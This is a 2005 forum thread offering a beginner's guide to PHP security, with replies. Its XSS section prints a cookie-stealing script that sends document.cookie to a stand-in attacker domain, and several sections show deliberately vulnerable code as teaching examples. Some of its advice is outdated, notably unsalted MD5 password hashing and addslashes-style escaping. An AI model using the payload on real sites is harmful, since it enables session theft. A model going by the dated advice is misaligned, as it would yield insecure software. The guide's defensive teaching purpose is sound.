[How-To] PHP Security

Soldato
Joined
26 Dec 2003
Posts
16,522
Location
London
Last updated: 16th February 2005, 18:38

Overview

It seems like almost every thread posted here with a PHP example in it is vulnerable to some sort of attack, be it XSS, SQL injection or something else. So, instead of having to post stuff like this in every thread like that, I figured it'd be best to just post one brief guide on how to protect your sites from attack. I'm just trying to cover the basics; if you use the methods outlined here, your scripts could still be vulnerable to some form of attack, so be warned :)

Different Types of Attack

XSS
XSS stands for "Cross Site Scripting", and refers to the act of inserting content, such as Javascript, into a page. Usually these attacks are used to steal cookies which often contain sensitive data such as login information.

An example of a script vulnerable to XSS is this simple script to fetch a news item based on its ID:

Code:
<?php

$id = $_GET['id'];

echo 'Displaying news item number '.$id;

/* snip */
?>

Now, if $_GET['id'] contains a number, then all's well and good - but what happens if it contains this?

Code:
<script>
window.location.href = "http://evildomain.com/cookie-stealer.php?c=' + document.cookie;
</script>

If a user passed this simple Javascript into the $_GET['id'] variable and convinced a user to click it, then the script would be executed and pass the user's cookie data onto the attacker, allowing them to log in as the user. It's really that simple.

How can I prevent XSS attacks?
Firstly, you must never implicitly trust user input. Always presume that every bit of input contains an attack, and code to account for that. To do this, you need to filter user input, removing it of HTML tags so that no Javascript can be run. The easiest way to do this is with PHP's built in strip_tags() function, which will remove HTML from a string rendering it harmless. If you just want to make the HTML safe without removing it altogether, like this forum does, then you need to run the input through htmlentities(), which will convert < and > to &lt; and &gt; respectively.


SQL Injection
Many sites (such as these forums) use databases as a backend to store their data, using queries to insert and select data from it. SQL injection is when malformed user input is used directly in an SQL query, which can result in the attacker changing the query. This means that an attacker could delete portions of your database, make himself an admin account etc - the possibilities are endless.

Take this example:

Code:
<?php

$message = $_POST['message'];

$result = mysql_query('
INSERT INTO guestbook
(mesage, added)
VALUES("'.$message.'", NOW())
');

?>

Look ok? It takes the message the user submitted, and adds it to the guestbook table, simple enough.

Now, this is vulnerable to both an SQL injection attack and an XSS attack; if the user chose to insert malicious HTML into their message, then that would be added and later printed out from the database; if the user submitted an injection attack in his message, then they could alter the query to whatever they liked.

How can I prevent SQL injection attacks?
Just like with XSS attacks, you must never trust user data. If the data is ever going to be printed to a page, which it more than likely will be, then run it through strip_tags(). Secondly, you must always run user input through mysql_real_escape_string() before using it in a database query. This will negate any malicious characters in the query, making the data safe to use. If you're using a number in your query, then you should use intval() on the inputted number.

Including Files
Never, ever include files based on user input without thoroughly checking them first. One of the major culprits of this is the ubiquitous index.php?page=something.php script that so many people love to use:

Code:
<html>
<head>
<title>foo</title>
</head>
<body>
<?php
include($_GET['page']);
?>
</body>
</html>

This can be used to include a file without having to put the same stuff at the header and footer of it, which is pretty useful. However, there's a big flaw to it; it allows the user to specify the filename to be included, which means that they could open any file readable by the server process and steal sensitive data such as database passwords from config files, etc.

You can prevent this in one of two ways. If you only have a few pages, you can make a white-list of pages that are allowed, like so:

Code:
<?php

switch($_GET['page']) {
    case "about":
        include('about.php');
        break;
    case "news":
        include('news.php');
        break;
    default:
        include('home.php');
        break;
}

?>

Another method would be to simply exclude non-word characters from the script, and including an extension; this would allow for the dynamic adding of pages, but would also mean that any files with a matching extension in the current directory and its subdirectories could be opened, so be careful that there aren't any sensitive files in them.

Code:
<?php

$page = preg_replace('/\W/si', '', $_GET['page']);

include($page.'.php');

?>

Another related point is the naming of included files. Many scripts store their settings in external files to make it easy for end-users to change them. If you're working on a script that does this, be sure to name your included files with an extension that isn't displayed as plain text. Many scripts use ".inc", which by default is displayed as a regular text file in most web servers. This could give users access to sensitive information such as database details and user info. The best option is to name the files with an extension of PHP; that way, if a user requests the files, they'll simply be greeted with a blank page.

If you're using Apache, and using a script that insists on using INC files, then you can use this setting to disallow direct access to .inc files:

Code:
<Files ~ "\.inc$">
Order allow,deny
Deny from all
</Files>

This should be placed in an .htaccess file in your top-level directory.

eval()
eval() is a useful but very dangerous function that allows you to execute a string as PHP code. There aren't many occasions where this is neccessary, and being realistic you should avoid its usage, especially if you want to use user input in the string.

Register Globals
register_globals is a PHP setting that automatically takes data from the superglobal arrays ($_GET, $_POST, $_SERVER, $_COOKIE, $_REQUEST and $_FILE) and assigns them to global variables, so $_POST['message'] would automatically be assigned to $message. This setting is automatically disabled with new installations of PHP, and with good reason. Take this example:

Code:
if($_POST['username'] == 'rob' && $_POST['password'] == 'foo') {
    $authenticated = true;
}

if($authenticated) {
    // do some admin thing
}

Now, with register_globals turned off, this script works as intended; $authenticated is only set if the user has entered the correct password. However, with register_globals turned on, a malicious user could run the script as

script.php?authenticated=true

and he would automatically be granted admin rights.

There's not a whole lot you can do about this setting if you're using shared hosting, but you can code your scripts so that they aren't affected by any malicious exploitation of register_globals.

Magic Quotes
Magic Quotes were an attempt by the PHP developers to add some default security into PHP; when magic_quotes are on, all ' (single-quote), " (double quote), \ (backslash) and NULL's are escaped with a backslash automatically. Note that this is NOT the same as mysql_real_escape_string(), and by turning it on you do NOT prevent SQL injection attacks. Another problem with magic quotes is that they pose a portability nightmare, in that some hosts have it turned on and others don't; if you're writing a script that's going to be used on multiple systems, you need to check whether magic quotes is turned on and act appropriately. One easy method is this:

Code:
function add_magic_quotes($array) {
    foreach ($array as $k => $v) {
        if (is_array($v)) {
            $array[$k] = add_magic_quotes($v);
        } else {
            $array[$k] = addslashes($v);
        }
    }
    return $array;
}
if (!get_magic_quotes_gpc()) {
    $_GET    = add_magic_quotes($_GET);
    $_POST   = add_magic_quotes($_POST);
    $_COOKIE = add_magic_quotes($_COOKIE);
}

which will make sure that quotes are always added regardless of the magic_quotes_gpc setting.

Error Reporting
If you have error reporting turned on fully, important information can be displayed in the event of an error - even a relatively minor one. PHP provides a function called error_reporting() that allows you to change the level of error reporting on a per-script basis.

Whilst in development, you should set this to display all errors, like so:
Code:
error_reporting(E_ERROR | E_WARNING | E_PARSE | E_NOTICE);

However, when you put your site into production, this can be dangerous. For safety's sake, you should disable the displaying of errors and instead log them to a file safely outside of your directory root; this way, the public can't see if anything goes wrong, but you can. Here's a simple bit of code that will accomplish this:

Code:
error_reporting(E_ALL^E_NOTICE); // This is a 'sensible' reporting level
ini_set('display_errors', 0); // Hide all error messages from  the public
ini_set('log_errors', 1);
ini_set('error_log', 'path/to_your/log.txt'); // Preferably a location outside of your web root

Be sure to edit the path to the error log so that it's a correct path and one that is writeable by the server process.

Another important thing that people sometimes miss is mySQL error reporting. A useful tip for development is to print error reports when a query fails so you can see what went wrong, like so:

Code:
mysql_query('
SELECT *
FROM table_that_doesnt_exist
') or die(mysql_error());

During development, this is great - it allows you to see quickly that the table doesn't exist, and that's why it's breaking. However, you should never leave this on in a production environment; if there happens to be an error, you should log the error appropriately and give a generic error message to the user if it's critical. If you don't, an attacker can find out important information about your database schema and even some login information.

Plain Text Passwords
When storing passwords, it's important never to store them in plain text. Applying a simple hashing method such as MD5 to the passwords in the database will suffice. To compare the inputted password with the one in the database, one must run the input through MD5 and then compare the two strings; if the passwords are the same, their MD5'd values will be the same also. This way, even if an attacker gains access to your database somehow, they'll never be able to know your users' passwords as MD5 is a one-way "encryption". A quick example of a safe way to do things:

Code:
$user_name = mysql_real_escape_string($_POST['username']);
$user_password = md5($_POST['password']);

$result = mysql_query('
SELECT COUNT(*) AS count
FROM users
WHERE user_name = "'.$user_name.'"
AND user_password = "'.$user_password.'"
');

$row = mysql_fetch_assoc($result);

if($row['count'] > 0) {
    // Password is okay.
}

Conclusion
Hopefully this has made you a little more aware of the dangers that can face you when writing PHP scripts, and hopefully you've understood what I've tried to say. Remember: never trust user input, and always filter it before use, and you should be fine and dandy.

If you've any comments, questions, suggestions, additions, subtractions or multiplications, feel free to post them and I'll do my best to sort them out :)
 
Associate
Joined
30 Jun 2003
Posts
2,237
Location
Sussex
i've got a few more ideas if you can be arsed to write anything about them:

Never include, require, or otherwise open a file with a filename based on user input, without thoroughly checking it first.

Be careful with eval()

Be careful when using register_globals = ON

Never run unescaped queries

For protected areas, use sessions or validate the login every time

If you don't want the file contents to be seen, give the file a .php extension

edit: we could also do with some of the basic php scripts, the same questions get asked a lot
 
Soldato
OP
Joined
26 Dec 2003
Posts
16,522
Location
London
kiwi said:
i've got a few more ideas if you can be arsed to write anything about them:

Never include, require, or otherwise open a file with a filename based on user input, without thoroughly checking it first.

Be careful with eval()

Be careful when using register_globals = ON

Never run unescaped queries

For protected areas, use sessions or validate the login every time

If you don't want the file contents to be seen, give the file a .php extension

edit: we could also do with some of the basic php scripts, the same questions get asked a lot
You cheated :p

All good points, I'll do a little write up at the bottom in a second.
 
Associate
Joined
5 Jun 2004
Posts
515
Location
Cambridge
Thanks very much for this, I've just been getting into PHP and you've alerted me to a few potential security risks in my code, in particular the "$_GET['id']" thing. Been using that today in a script. I hope I'm all okay now.

Thanks very much ;)
 

Zom

Zom

Associate
Joined
18 Oct 2002
Posts
1,055
Nice one

Good job guys. I've recently started doing a bit of mysql & php and I'm creating an application for use on an intranet as part of my Year in Industry Placement. You have answered a lot of my questions about security.
rating_5.gif
 

Ben

Ben

Associate
Joined
18 Oct 2002
Posts
2,328
Location
Kent
Might also want to mention that magic_quotes_gpc is usually turned on by hosts to protect themselves from incompetent scripters, not to allow people to be lazy and not check user input.
 
Soldato
OP
Joined
26 Dec 2003
Posts
16,522
Location
London
Ben said:
Might also want to mention that magic_quotes_gpc is usually turned on by hosts to protect themselves from incompetent scripters, not to allow people to be lazy and not check user input.
Indeed, I'll put something about get_magic_quotes_gpc() in there too.
 
Soldato
Joined
18 Oct 2002
Posts
5,464
Location
London Town
Superb post, good sir :).

I'd like to add something which might be overlooked for security - and that's error messages. When you're running your production site, turn error messages off, and log them instead. Don't give people with malicious intent the chance to gain a free instruction manual and directory listing for your site through any error messages that may occur.

Typically this can be set up at the top of your script(s) or in a globally included script:

PHP:
error_reporting(E_ALL^E_NOTICE); // This is a 'sensible' reporting level
ini_set('display_errors', 0); // Hide all error messages from  the public
ini_set('log_errors', 1); 
ini_set('error_log', 'path/to_your/log.txt'); // Preferably a location outside of your web root

Another related issue, as kiwi's raised, is never to name your include files with an extension like the ever-popular .inc, unless you're specifically having them parsed as PHP. Naming a file .inc, especially one with a database connection string, leaves it open to be read as plain text. Imagine for some reason your database goes down (and you don't have PHP error messages off), then out will pop a convenient pointer to your database connection info for all the world to see.

Have a google for typically named database connection include files with the extension .inc and see who's made that unfortunate mistake ;).

Better still, place any included files that contain passwords and usernames in plain-text outside of the web root - that is outside of the directory structure that can be accessed by the general public.
 
Associate
Joined
30 Jun 2003
Posts
2,237
Location
Sussex
from the site i got the original points from:
After hearing Rasmus rant about this at a talk last week, I need to chime in with his advice on this. He basically admitted to possibly having started the convention of included.inc files. His statement, however, was that most folks didn't realize that his Apache conf files had the following directive in them.

<Files ~ "\.inc$">
Order allow,deny
Deny from all
</Files>

That basically stops everything but his script from being able to access his *.inc files.

He then commented that most folks when they realize that the *.inc files can be sent in the clear as ASCII text, they switch them to *.php files. This doesn't fix the problem. If someone knows your API, they can still use the functions in your included file.

His rule is that if you're going to use included files, they should be outside the docroot or restricted with a Deny from all directive to keep them safe.

and a follow-up:
But I don't agree with what Rasmus said on the topic (from what I understand). To put your include files out of the docroot to be safe. I say learn to write them correctly and you won't need to. If you follow his advice you might as well put your whole site out of the docroot to be safe :/ What's the difference?

When you write your script/include file, ask yourself "How can I make this script secure?" not "How can I hide this script?"
 
Soldato
Joined
13 Jan 2004
Posts
20,878
Some good points.

Regarding SQL injection (as commeneted on the php manual) for user/password checks using md5 for comparison is sufficient escaping as any injection attempts on it will be converted into a md5 hash and be complete garbage.

Im going to have to review my SQL code with some mysql_real_escape_string protection.
 
Soldato
OP
Joined
26 Dec 2003
Posts
16,522
Location
London
Sin_Chase said:
Some good points.

Regarding SQL injection (as commeneted on the php manual) for user/password checks using md5 for comparison is sufficient escaping as any injection attempts on it will be converted into a md5 hash and be complete garbage.

Im going to have to review my SQL code with some mysql_real_escape_string protection.


Indeed, and intval()'ing any numbers will too :)
 
Back
Top Bottom